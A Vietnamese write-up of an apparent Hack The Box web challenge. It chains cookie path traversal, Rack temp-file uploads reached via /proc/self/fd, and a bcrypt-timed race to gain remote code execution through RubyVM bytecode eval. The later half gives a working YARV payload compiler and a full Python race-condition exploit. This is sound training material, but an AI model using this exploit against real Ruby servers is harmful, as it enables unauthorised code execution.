🚩 HTB Project Nightfall - Korvia Vault

Tóm tắt

  • Hệ điều hành: Linux
  • Tóm tắt kỹ thuật: Trang web có lỗ hổng trong quá trình xử lí session của người dùng, cho sử dụng session_id để trỏ đến file session trong server mà không làm sạch hoặc kiểm tra dữ liệu cookie, cho tạo điều kiện để kẻ tấn công sử dụng Path Traversal để trỏ đến một file bất kì trong hệ thống. Việc sử dụng RubyVM để tải dữ liệu người dùng đã lưu trên hệ thống thông qua RubyVM::InstructionSequence.load_from_binary(yarv_binary).eval tạo điều kiện để kẻ tấn công thực hiện Remote Code Execution ngay khi hắn có khả năng upload file lên server thông qua tính năng của Rack và chạy code bằng eval bằng cách thực hiện tấn công Race Condition đến endpoint /register
  • Trạng thái: Completed

Recon

Thiết lập của hệ thống

Dockerfile

center

Trong Dockerfile ghi rõ việc trong hệ thống có một file the readflag được để trong tệp /usr/local/bin, đây là một SUID binary, tức là nếu ta có thể gọi được file này bằng thông qua RCE, ta sẽ thực thi nó dưới quyền hạn của chủ sở hữu file, ở đây, thông qua câu lệnh chown root:root, chủ sở hữu của file nhị phân này là root, cũng chính là người có quyền hạn cao nhất trong hệ thống. Lí do ta cần quyền hạn của root để đọc file là do flag.txt được chuyển vào trong folder /root và chuyển quyền hạn thành 600, tức là chỉ có chủ sở hữu file mới có thể đọc được file này.

Nói tóm lại, file nhị phân readflag cho phép ta đọc flag mà không cần là root của hệ thống.

Entrypoint.sh

Trong file entrypoint của container này giới cho thấy rằng các bí mật của container được cài đặt khá cẩn thận

center

Có thể thấy file flag trong /root đã được đổi tên để chứa hậu tố ngẫu nhiên để ngay cả khi ta có quyền hạn root mà không có khả năng gọi lệnh shell thì cũng không thể đọc được flag nếu không dùng binary readflag. Bên dưới ta cũng có thể thấy rằng container có những file như keystore (chứa private key và public key của ứng dụng), truststore (chứa ghi chép về về những certificate mà ứng dụng tin tưởng) và server certificate dùng để chứng minh danh tính của server.

Dễ thấy rằng truststore này của container chỉ chứa certificate của application này dưới domain localhost, do đó nếu trong dụng có những vị trí nào cần dùng đến truststore thì nó sẽ chỉ cho phép kết nối đến từ localhost (tức là chính container đó). Có khả năng đây là một bài liên quan đến SSRF.

Nginx

center

Thiết lập của Nginx trong có vẻ không có gì là đáng ngờ, ta có thể thấy rằng reverse proxy này cũng hoạt động tại port 1337 của container cũng chính là port được liên kết trực tiếp tới port 1337 trên máy host của ta (trong build-docker.sh)

External App

center

Sau khi tạo một tài khoản mới và đăng nhập vào trang web, ta được chuyển tiếp tới một trang /dashboard, trên thanh navigation thì ta có thêm một trang /profile, ở đó thì ta có thể thấy được một vài thông tin về chính tài khoản của ta.

center

Cả 2 trang web đều là trang web tĩnh, ta không hề có tính năng nào khác bên cạnh việc đăng xuất khỏi tài khoản.

Nếu ta nhìn vào source code của trang dashboard, ta có thể thấy trang web gửi một request đến một endpoint ở Backend sử dụng wss:// protocol thay vì HTTP mà ta thường gặp.

center

Ta có thể theo dõi request và response của server bằng WSS thông qua tab WebSockets history của BurpSuite. Tuy nhiên, ta cũng không thấy có gì quá đặc biệt.

Nhìn vào xuộc cốt của trang web ta có thể thấy một cái khá là thú vị đó là cách mà trang web xử lí thông tin về session của người dùng.

center

Ta có thể thấy rằng trang web này xử lí session một cách rất… nửa nạc nửa mỡ.

Thông thường, một trang web sẽ có 2 cách để lưu session người dùng:

  1. Stateful session: thông tin session người dùng được lưu trên server (trong file hoặc database), người dùng chỉ giữ một session ID dùng để trỏ đến thông tin đấy trên server.
  2. Stateless session: thông tin người dùng được mã hóa, rồi gửi về cho người dùng, trên server chỉ lưu giữ thông tin để giải mã giữ liệu người dùng.

Tuy nhiên, ở đây server vừa lưu thông tin người dùng, nhưng cũng đồng thời gửi nó về, chưa kể rằng khi load session, trang web lại chạy RubyVM::InstructionSequence.load_from_binary(yarv_binary).eval:

  • yarv_binary: chuỗi nhị phân YARV (Yet Another Ruby VM).
  • RubyVM::InstructionSequence.load_from_binary(yarv_binary): Máy ảo của Ruby tải chuỗi nhị phân này vào bộ nhớ
  • .eval: Máy ảo này thực thi chuỗi lệnh đã được lưu.

Việc này cho phép ta nếu bằng cách nào đó tải được một đoạn payload lên server, rồi thông qua session_id để trỏ biến session_path về file này, ta hoàn toàn có thể thực thi lệnh từ xa.

Hàm load_session() này luộn đều được thực thi khi ta chuyển đến trang /dashboard hoặc /profile.

center

Điều thú vị ở đây là việc chữ ký (aka. signature) của session này được verify SAU khi hàm load_session() được gọi, tức là ta không cần quan tâm rằng cookie mà ta gửi đến server có chuẩn hay không.

Hãy cùng nhìn vào cấu tạo của cookie:

center

Cookie của trang web gồm 2 phần là session ID và signature, ngăn cách với nhau bằng một dấu |. Quá trình xác thực này không quan tâm đến session ID của cookie là gì mà chỉ cần quan trọng là username của người dùng và secret của họ có phù hợp không, do đó ta chỉ cần lấy được một signature hơp lệ là có thể vượt qua được lớp bảo mật này.

Để có thể exfiltrate được output của câu lệnh của chúng ta ra bên ngoài, ta chỉ cần cho câu lệnh trả về một dạng data giống hệt như session data mà sau đó sẽ được render ra trang profile

center

Với những điều kiện này, ta đã có thể có một cách để thực hiện code trên server. Việc còn lại của ta là bằng cách nào để có thể lưu được đoạn mã này trên server. Nhìn vào Gemfile, ta có thể thấy được web server này sử dụng Puma.

center

Puma là một web server dành cho các ứng dụng chạy bằng Ruby. Để tăng tốc ứng dụng, Puma sử dụng nhiều luồng (threads) khác nhau để xử lí các request đến server.

Rack là một middleware của Ruby, đóng vai trò chuyển đổi các thông tin trong request đến server trở thành một dạng object mà ruby có thể hiểu và phân tích được. Nói một cách dễ hiểu thì vai trò của nó đối với ứng dụng Ruby này cũng giống với vai trò của hàm parse_session_cookie() đối với phần còn lại của chương trình vậy, chỉ là thay vì làm việc với cookie, nó làm việc với request và response.

Tuy nhiên, Rack lại có một chức năng ẩn là nó sẽ lưu file được gửi với header Content-Type: multipart/form-data trong tệp /tmp trên server trong một khoảng thời gian ngắn trong khi chờ ứng dụng (một endpoint nào đó) xử lí rồi mới xóa file. Ngay cả khi endpoint này không hề sử dụng file này, nó vẫn sẽ tồn tại cho đến khi endpoint kia kết thúc hoat động xử lí. (documentation).

Do thiết kế đa luồng của Puma mà mọi luồng xử lí của chương trình này đều sử dụng chung một folder /proc/self/fd (là folder chứa symlink trỏ đến các file mà một chương trình đang sử dụng) và file mà Rack lưu trong tệp /tmp cũng có thể được trỏ đến thông qua folder này. Thông tin chi tiết về tệp này ta có thể biết nhiều hơn ở đây.

Từ đây, ta có thể trỏ hàm load_session() đến symlink trong /proc/self/fd trỏ đến hàm mà ta đã tải lên server, miễn sao là ta gửi request đến endpoint /profile thật nhanh trong lúc mà file kia còn tồn tại (một Race Condition)

Internal App

Một Java application dùng để trả về thông tin để update dashboard, trong đó có sử dụng đến bộ key mà ta đã thấy trong entrypoint.sh, nhìn ra thì có vẻ mọi thứ đều rất bình thường đối với ứng dụng này.


Khai thác các lỗ hổng

Để có thể khai thác ứng dụng này, ta sẽ phải gửi đồng thời 2 request đến backend. Một request là để cài file của ta lên server (gọi là Upload Request), và request còn lại là để gọi đến file đấy thông qua lỗ hổng Path Traversal (gọi là Trigger Request).

Cài file lên server

Để có thể thực hiện được điều này, ta không thể cứ gửi bừa một request đến bất kì một endpoint nào mà ta cần chọn một endpoint mà nó sẽ mất một thời gian đủ lâu để xử lí, tạo điều kiện để Trigger Request của ta chạm đến được server và gọi đến được file mà ta đã cài trên server trước khi mà nó bị xóa đi.

Thông thường, ta sẽ phải đến những endpoint có áp dụng encryption. Lý do cho việc này là các hàm thực hiện công việc mã hóa thường được cố tình thiết kế để trở nên ‘đắt đỏ’. Bằng việc thêm vào nhiều vòng lặp để thực hiện băm (hashing) dữ liệu đầu vào, các thuật toán mã hóa như bcrypt hay scrypt được tăng tính bảo mật, giảm khả năng bị tấn công brute-force từ kẻ tấn công trong thời đại mà các thiết bị điện tử ngày càng có nhiều năng lực tính toán nhanh hơn.

Trong mã nguồn của chương trình, ta có endpoint /register sử dụng hàm BCrypt::Password.create(password) thực hiện mã hóa đối với mật khẩu của người dùng.

Note: Tại endpoint /login, một hàm bscrypt khác cũng được sử dụng nhưng đây là hàm BCrypt::Password.new(user['password_hash']) tức là nó sẽ lấy ra password hash của người dùng rồi tạo ra một Password object trong bộ nhớ bằng mật mã này. Object này có hàm ghi đè operator khi được so sánh với kiểu dữ liệu chuỗi (string), khi đó nó sẽ thực hiện mã hóa chuỗi nằm ở vế bên phải (tương tự như hàm create()). Một cách đơn giản thì hàm này có thể được thể hiện dưới một C++ pseudo code như sau:

class Password{
private:
	std::string hash;
public:
	Password(std::string hash_from_db){
		this -> hash = hash_from_db;
	}
	
	void create(std::string password){
		this -> hash = hash_string(password);
	}
	
	std::string hash_string(std::string password){
		// hashing logic...
		return hashed_password;
	}
	
	//Operator Overriding
	bool operator == (const std::string& plaintext_password) const{
		return this->hash == hash_string(plaintext_password;
	}
}

Để có thể thêm debug log vào xuộc cốt để xem thời gian chính xác mà server dùng để thực thi hàm băm này là bao lâu:

def log_race_event(event_name, details = "")
  timestamp = sprintf("%.6f", Time.now.to_f)
  File.open('/tmp/race.log', 'a') do |f|
    f.puts("[#{timestamp}] #{event_name.ljust(15)} | #{details}")
  end
end
 
post '/register' do
  log_race_event("UPLOAD_START", "Thread: #{Thread.current.object_id}")
  
  # ...
  
  t_start = Time.now
  password_hash = BCrypt::Password.create(password).to_s
  t_duration = Time.now - t_start
 
  log_race_event("BCRYPT_DONE", "Thread: #{Thread.current.object_id} | Took: #{sprintf('%.3f', t_duration)}s")
  
  # ...
end

center

Ta có thể thấy từ kết quả trả về là hàm endpoint này cần khoảng 200ms để hoàn thành thực hiện nhiệm vụ, ở môi trường docker chạy tại local, thời gian thực hiện gửi request đến server là rất ngắn, chỉ khoảng vài ms; ở remote, trong điều kiện lí tưởng (remote server đặt tại Việt Nam, điều kiện kết nối tốt, ping cũng thường ở mức < 70ms, mấy ae chơi game là biết). Ta hoàn toàn có đủ tự tin để thực hiện race condition attack.

Để xác định xem sau khi upload thì file của chúng ta sẽ được lưu ở đâu, ta có thể chạy lệnh:

echo "dummy" > dummy.txt
 
curl -x http://127.0.0.1:8080 -X POST http://localhost:1337/register -F "file=@dummy.txt" -F "username=hello" -F "password=hello"

Rồi sau mở một shell trên docker container, khi này ta sẽ thấy một file RackMultipart*.txt được lưu trong tệp /tmp

center

Do file này chứa một hậu tố ngẫu nhiên, ta không thể gọi gọi trực tiếp file này chỉ với lỗ hổng Path Traversal ở trên mà buộc phải thông qua file descriptor.

Để biết được file này được liên kết với file descriptor nào ngay khi được tải lên hệ thống, ta có thể thêm vào debug sau vào endpoint /register:

post '/register' do
  log_race_event("UPLOAD_START", "Thread: #{Thread.current.object_id}")
 
  Dir.glob('/proc/self/fd/*').each do |fd_path|
    begin
      target = File.readlink(fd_path)
      if target.include?('RackMultipart')
        log_race_event("FD_FOUND", "Payload is at: #{fd_path} (Points to: #{target})")
      end
    rescue
    end
  end
#...
end

Build lại container và thực hiện câu lệnh curl một lần nữa rồi đọc file /tmp/race.log, ta có thể thấy file mà ta vừa tải lên được lên được liên kết với file descriptor số 12.

center

Mỗi lần build lại container và chạy lại chuỗi lệnh trên một lần nữa thì file descriptor của file mà ta upload lên sẽ luôn là số 12 (nếu không khởi động lại mà tải thêm một file khác thì fd của file mới sẽ là 13, 14, …)

Như vậy payload session_id của ta sẽ là ../../../../proc/self/fd/12.

Xây dựng payload

Sau khi đã biết cách cài file lên server, ta chỉ còn cần biết cách để tạo file này.

    yarv_binary = File.binread(session_path)
    iseq = RubyVM::InstructionSequence.load_from_binary(yarv_binary)
    iseq.eval

File ta cần tải lên server sẽ là một file YARV, chứa mã ruby mà ta cần RubyVM thực thi.

# compile.rb
code = %(
  system("/usr/local/bin/readflag > /opt/external-app/public/f.txt")
  {username: "haiyahhh", session_id: "p",
   created_at: %x{/usr/local/bin/readflag 2>&1}.strip, valid: true}
)
 
iseq = RubyVM::InstructionSequence.compile(code)
File.binwrite("payload.yarv", iseq.to_binary)

Rồi sau đó chạy file ruby trong container của challenge và copy về máy:

export CONTAINER_ID=$(docker ps -aqf "name=web_korvia_vault")
docker cp compile.rb $CONTAINER_ID:/tmp/ && docker exec -w /tmp $CONTAINER_ID ruby compile.rb && docker cp $CONTAINER_ID:/tmp/payload.yarv .

Proof of Concept (PoC)

#!/usr/bin/env python3
# exploit.py
import requests, threading, time, re, sys, os, random, string
from concurrent.futures import ThreadPoolExecutor, as_completed
 
if len(sys.argv) > 1:
    TARGET = sys.argv[1].rstrip("/")
else:
    TARGET = os.environ.get("TARGET", "http://localhost:1337")
 
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
YARV_PAYLOAD = os.path.join(SCRIPT_DIR, "payload.yarv")
USERNAME = "haiyahhh"
PASSWORD = "haiyahhh"
 
def register_user():
    r = requests.post(f"{TARGET}/register", data={"username": USERNAME, "password": PASSWORD},
                      allow_redirects=False, timeout=30)
    print(f"[*] Register: {r.status_code}")
 
def login_and_get_signature():
    s = requests.Session()
    r = s.post(f"{TARGET}/login", data={"username": USERNAME, "password": PASSWORD},
               allow_redirects=False, timeout=30)
    cookie = s.cookies.get("session")
    if not cookie:
        return None
    parts = cookie.split("%7C") if "%7C" in cookie else cookie.split("|")
    if len(parts) != 2:
        return None
    print(f"[*] Login OK. Sig: {parts[1][:16]}...")
    return parts[1]
 
def load_yarv():
    path = YARV_PAYLOAD
    with open(path, "rb") as f:
        data = f.read()
    print(f"[*] YARV loaded ({path}): {len(data)} bytes")
    return data
 
def check_public_flag():
    try:
        r = requests.get(f"{TARGET}/f.txt", timeout=3)
        if r.status_code == 200 and len(r.text.strip()) > 3:
            return r.text.strip()
    except:
        pass
    return None
 
def probe_fd(fd, signature):
    """Probe a single FD - returns (fd, flag_text) or (fd, None)"""
    path = f"../../../proc/self/fd/{fd}"
    cookie_val = f"{path}|{signature}"
    try:
        r = requests.get(f"{TARGET}/profile",
                       headers={"Cookie": f"session={cookie_val}"},
                       allow_redirects=False, timeout=3)
        if r.status_code == 200:
            match = re.search(r'session-meta">(.*?)</span>', r.text)
            if match and len(match.group(1)) > 3:
                return (fd, match.group(1))
    except:
        pass
    return (fd, None)
 
def do_upload(yarv_data):
    """Upload YARV as multipart file to trigger Tempfile creation"""
    upload_user = ''.join(random.choices(string.ascii_lowercase, k=8))
    try:
        files = {"file": ("p.bin", yarv_data, "application/octet-stream")}
        data = {"username": upload_user, "password": PASSWORD}
        requests.post(f"{TARGET}/register", data=data, files=files, timeout=15)
    except:
        pass
 
def main():
    is_remote = "localhost" not in TARGET and "127.0.0.1" not in TARGET
    print(f"[*] Target: {TARGET}")
    print(f"[*] Mode:   {'REMOTE' if is_remote else 'LOCAL'}")
 
    yarv_data = load_yarv()
    register_user()
    signature = login_and_get_signature()
    if not signature:
        print("[!] Login failed"); return
 
    fd_min, fd_max = 5, 50
    max_attempts = 500
    print(f"\n[*] Racing FDs {fd_min}-{fd_max}, {max_attempts} attempts")
    print(f"[*] Each attempt: 1 upload + {fd_max - fd_min + 1} parallel probes\n")
 
    for attempt in range(1, max_attempts + 1):
        sys.stdout.write(f"\r[*] Attempt {attempt}/{max_attempts}")
        sys.stdout.flush()
 
        # Fire upload in background
        t_upload = threading.Thread(target=do_upload, args=(yarv_data,))
        t_upload.start()
 
        # Small delay for Rack to parse multipart and create Tempfile
        time.sleep(0.05)
 
        # Fire ALL probes in parallel using thread pool
        with ThreadPoolExecutor(max_workers=20) as executor:
            futures = {executor.submit(probe_fd, fd, signature): fd
                      for fd in range(fd_min, fd_max + 1)}
            for future in as_completed(futures, timeout=5):
                try:
                    fd, flag = future.result()
                    if flag:
                        print(f"\n\n{'='*60}")
                        print(f"[!!!] FLAG on FD {fd}: {flag}")
                        print(f"{'='*60}")
                        os._exit(0)
                except:
                    pass
 
        t_upload.join(timeout=10)
 
        # Every 10 attempts, check public file
        if attempt % 10 == 0:
            pub = check_public_flag()
            if pub:
                print(f"\n\n[+] FLAG (public): {pub}")
                return
 
    pub = check_public_flag()
    if pub:
        print(f"\n[+] FLAG (public): {pub}")
    else:
        print(f"\n[!] No flag after {max_attempts} attempts")
 
if __name__ == "__main__":
    main()
 
# compile.rb
code = %(
  system("/usr/local/bin/readflag > /opt/external-app/public/f.txt")
  {username: "haiyahhh", session_id: "p",
   created_at: %x{/usr/local/bin/readflag 2>&1}.strip, valid: true}
)
 
iseq = RubyVM::InstructionSequence.compile(code)
File.binwrite("payload.yarv", iseq.to_binary)

Loot & Flags

Flag: HTB{w3lc0me_m45t3r_0f_4ll_v4ult}